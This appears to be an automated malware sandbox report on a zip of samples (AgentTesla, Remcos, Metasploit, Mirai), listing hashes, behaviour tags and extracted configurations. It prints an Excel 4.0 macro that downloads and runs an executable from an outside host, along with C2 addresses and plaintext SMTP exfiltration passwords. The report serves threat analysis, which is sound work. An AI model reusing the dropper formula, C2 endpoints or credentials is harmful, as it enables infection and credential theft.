General

  • Target
    2020-05-03.zip
  • Size 47.0MB
  • Sample260710-ag1qtact5x
  • SHA256 d944b5094eb998f96c78cd54a19c4e183d47c5f5ce4fa067e9e6a3b9de730df0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • metasploit

Version
  • windows/reverse_tcp

C2
  • 167.250.49.155:5555

  • 167.250.49.155:445

  • 167.250.49.155:8778

Extracted

Family
  • metasploit

Version
  • windows/reverse_http

C2
  • http://lastmorgoth.com:8081/QjrM4ifkXFX60vvTpHghNAedfebdh

  • http://167.250.49.155:8081/dnacZd_SkXYgkiGTfjj7LwdlUc_6g4yW8hwyCdq

  • http://mynoisestory.com:8081/gG43MdT_fKdPzE7NEWaUHQg_S-xZI0IXWUUnjOcGU7kMki1sKca6Q4WfL2cVwQGur4LQdFRXQDKcJAsvo-F97nNwIycG4z1pqrwwGDtogNv8C4yuf1-fvLE9aMqDn6XLkYI1J8A4nryXN8g0_SlJ41rWutjdBhzl_Rhs47tPM00orr37ao9_qbgQhN3pgluHixOMxYEENOoNW9jVlT-sIx9XO2N3TSLqLjy1CMtKuIKp

Extracted

Family
  • metasploit

Version
  • windows/reverse_tcp_dns

C2
  • 167.250.49.155:4446

  • mynoisestory.com:4446

  • lastmorgoth.com:4446

Extracted

Rule
Excel 4.0 XLM Macro
C2
  • http://invoice7mukszq9nbpa7online.ru/unfeminized.exe

Attributes
  • formulas

    =CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://invoice7mukszq9nbpa7online.ru/unfeminized.exe","C:\ProgramData\plaukbp.exe",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\plaukbp.exe",,0,0) =HALT()

Extracted

Family
  • mirai

Botnet
  • JIGOKU

Extracted

Credentials
  • Protocol

    smtp

  • Host

    smtp.yandex.com

  • Port

    587

  • Password

    COKOeve8899

Extracted

Family
  • agenttesla

Credentials
  • Protocol

    smtp

  • Host

    smtp.yandex.com

  • Port

    587

  • Password

    COKOeve8899

Extracted

Credentials
  • Protocol

    smtp

  • Host

    mail.privateemail.com

  • Port

    587

  • Password

    mmm777

Extracted

Credentials
  • Protocol

    smtp

  • Host

    smtp.yandex.com

  • Port

    587

  • Password

    07030452451

Extracted

Family
  • remcos

Version
  • 2.5.0 Pro

Botnet
  • RemoteHost

C2
  • kenya8.duckdns.org:7722

  • ikorodu2.duckdns.org:7722

  • mypepsi22.duckdns.org:7722

  • mypepsi25.duckdns.org:7722

Attributes
  • audio_folder

    MicRecords

  • audio_path

    %AppData%

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    Remcos-LOWNF5

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

  • take_screenshot_title

    wikipedia;solitaire;

Targets

    • Target
      02bc14bee04354d16be97d0b7767ef8b3562592d360a8bec3b57bd569b091bff.exe
    • Size 644KB
    • SHA256 02bc14bee04354d16be97d0b7767ef8b3562592d360a8bec3b57bd569b091bff
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • AgentTesla payload

    • Family: AgentTesla

      Agent Tesla is a remote access tool (RAT) written in visual basic.

    • Executes dropped EXE

    • Obfuscated with Agile.Net obfuscator

      Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    • Reads WinSCP keys stored on the system

      Tries to access WinSCP stored sessions.

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses Microsoft Outlook profiles

    • Adds Run key to start application

    • Command and Scripting Interpreter: PowerShell

      Start PowerShell.

    • Suspicious use of SetThreadContext

    • Target
      Document pdf.exe
    • Size 588KB
    • SHA256 083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    6/10
    • Contacts third-party web service commonly abused for C2

      Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

    • Target
      4GUlS1Db5Ko4UZn.exe
    • Size 446KB
    • SHA256 99288949625f49d5fce4c52083d100a232b1fbec563aefa39843f564cc71190b
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Family: Remcos

      Remcos is a closed-source remote control and surveillance software.

    • Modifies Windows Defender DisableAntiSpyware settings

    • Modifies Windows Defender Real-time Protection settings

    • Modifies Windows Defender TamperProtection settings

    • Disables one or more Microsoft Defender components

      Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    • ReZer0 packer

      Detects ReZer0, a packer with multiple versions used in various campaigns.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Disables automatic submission of suspicious files to Microsoft by Windows Defender

      Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    • Executes dropped EXE

    • Windows security modification

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Suspicious use of SetThreadContext

    • Target
      04e9a2d20e42d611aa11ea7b633475e7bd66915d8bef9e587fbdbb194a819737.elf
    • Size 25KB
    • SHA256 04e9a2d20e42d611aa11ea7b633475e7bd66915d8bef9e587fbdbb194a819737
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    1/10
    • Target
      0535bc297732d4810fc46c783c71e160b6ac3c7cc3596dd7ffdb3606ab1b3319.exe
    • Size 615KB
    • SHA256 0535bc297732d4810fc46c783c71e160b6ac3c7cc3596dd7ffdb3606ab1b3319
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • AgentTesla payload

    • Family: AgentTesla

      Agent Tesla is a remote access tool (RAT) written in visual basic.

    • Drops file in Drivers directory

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Reads WinSCP keys stored on the system

      Tries to access WinSCP stored sessions.

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses Microsoft Outlook profiles

    • Suspicious use of SetThreadContext

    • Target
      06323b480f376332058ee06c5834c6961d9ae2bcadb29dd2c140c53c7f584f99.elf
    • Size 57KB
    • SHA256 06323b480f376332058ee06c5834c6961d9ae2bcadb29dd2c140c53c7f584f99
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    1/10
    • Target
      Request For Quotation.exe
    • Size 489KB
    • SHA256 b26960e8083466e40ebbfcc6dfe93c4080a516d6260e1a2900ce7649fc44442e
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • AgentTesla payload

    • Family: AgentTesla

      Agent Tesla is a remote access tool (RAT) written in visual basic.

    • Executes dropped EXE

    • Reads WinSCP keys stored on the system

      Tries to access WinSCP stored sessions.

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses Microsoft Outlook profiles

    • Adds Run key to start application

    • Suspicious use of SetThreadContext

    • Target
      083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8.exe
    • Size 588KB
    • SHA256 083a822cfd5e69bc6861dd985e3e906238e5108a80ed868e9cbfda4849cd91d8
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    6/10
    • Contacts third-party web service commonly abused for C2

      Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

    • Target
      0900dda31e7805d85530022d4dd575d75388826dd7ccee99dbff648a9cb9d5ee.exe
    • Size 1.6MB
    • SHA256 0900dda31e7805d85530022d4dd575d75388826dd7ccee99dbff648a9cb9d5ee
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Target
      0dedfedf8846e250eb7d30173d94721aa80d639f227b1ac64e6c25d676309386.exe
    • Size 72KB
    • SHA256 0dedfedf8846e250eb7d30173d94721aa80d639f227b1ac64e6c25d676309386
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Family: MetaSploit

      Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    • Target
      0ed1a3bccdbabcea8c5af4a65f706056856bd46eec21b2296ffad11614872eab.exe
    • Size 72KB
    • SHA256 0ed1a3bccdbabcea8c5af4a65f706056856bd46eec21b2296ffad11614872eab
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Family: MetaSploit

      Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    • Target
      138d88d36560cee1bdd0e8234168bca1a1949a985323bbd63d76f9bd2fc4e7a8.elf
    • Size 69KB
    • SHA256 138d88d36560cee1bdd0e8234168bca1a1949a985323bbd63d76f9bd2fc4e7a8
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    1/10
    • Target
      147e92a20eaa350aef112cd3110af132aa9667af4e8eb90d345d4b7da8cea95c.exe
    • Size 507KB
    • SHA256 147e92a20eaa350aef112cd3110af132aa9667af4e8eb90d345d4b7da8cea95c
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • AgentTesla payload

    • Family: AgentTesla

      Agent Tesla is a remote access tool (RAT) written in visual basic.

    • ReZer0 packer

      Detects ReZer0, a packer with multiple versions used in various campaigns.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Reads WinSCP keys stored on the system

      Tries to access WinSCP stored sessions.

    • Reads data files stored by FTP clients

      Tries to access configuration files associated with programs like FileZilla.

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Unsecured Credentials: Credentials In Files

      Steal credentials from unsecured files.

    • Accesses Microsoft Outlook profiles

    • Suspicious use of SetThreadContext

    • Target
      14c8eb07eea00a0d9a9fe7dae5ec507a9914caf6d5d244c249a6ebee8a36746c.exe
    • Size 354KB
    • SHA256 14c8eb07eea00a0d9a9fe7dae5ec507a9914caf6d5d244c249a6ebee8a36746c
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Target
      1511fb7409044fab83df96d09dcfba603a05c84bc52cb5809dc5772f5bbdc45d.exe
    • Size 72KB
    • SHA256 1511fb7409044fab83df96d09dcfba603a05c84bc52cb5809dc5772f5bbdc45d
    • MD5 SHA1 SHA512 SSDEEP TLSH
    • Family: MetaSploit

      Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

MITRE ATT&CK Enterprise v16

Tasks

static1

upxmacroxlmcredmodulejigokustealercryptonepackerspywareechelontrojanbackdoormetasploitkeyloggernanocoreamadeybotnetmirai
Score
10/10

behavioral1

agilenetcollectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral2

agilenetcollectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral3

discovery
Score
6/10

behavioral4

discovery
Score
6/10

behavioral5

remotehostdefense_evasiondiscoveryevasionexecutionremcospersistenceratrezer0trojan
Score
10/10

behavioral6

remotehostdefense_evasiondiscoveryevasionexecutionremcospersistenceratrezer0trojan
Score
10/10

behavioral7

Score
1/10

behavioral8

Score
1/10

behavioral9

Score
1/10

behavioral10

Score
1/10

behavioral11

collectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral12

collectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral13

Score
1/10

behavioral14

Score
1/10

behavioral15

Score
1/10

behavioral16

Score
1/10

behavioral17

collectioncredential_accessdiscoveryagentteslakeyloggerpersistenceprivilege_escalationspywarestealertrojan
Score
10/10

behavioral18

collectioncredential_accessdiscoveryagentteslakeyloggerpersistenceprivilege_escalationspywarestealertrojan
Score
10/10

behavioral19

discovery
Score
6/10

behavioral20

discovery
Score
6/10

behavioral21

discoveryagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral22

collectioncredential_accessdiscoveryagentteslakeyloggerpersistencespywarestealertrojan
Score
10/10

behavioral23

backdoordiscoverymetasploittrojan
Score
10/10

behavioral24

backdoordiscoverymetasploittrojan
Score
10/10

behavioral25

backdoordiscoverymetasploittrojan
Score
10/10

behavioral26

backdoordiscoverymetasploittrojan
Score
10/10

behavioral27

Score
1/10

behavioral28

collectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistenceprivilege_escalationrezer0spywarestealertrojan
Score
10/10

behavioral29

collectioncredential_accessdiscoveryexecutionagentteslakeyloggerpersistenceprivilege_escalationrezer0spywarestealertrojan
Score
10/10

behavioral30

discovery
Score
3/10

behavioral31

collectioncredential_accessdiscoveryagentteslakeyloggerpersistenceprivilege_escalationspywarestealertrojan
Score
10/10

behavioral32

backdoordiscoverymetasploittrojan
Score
10/10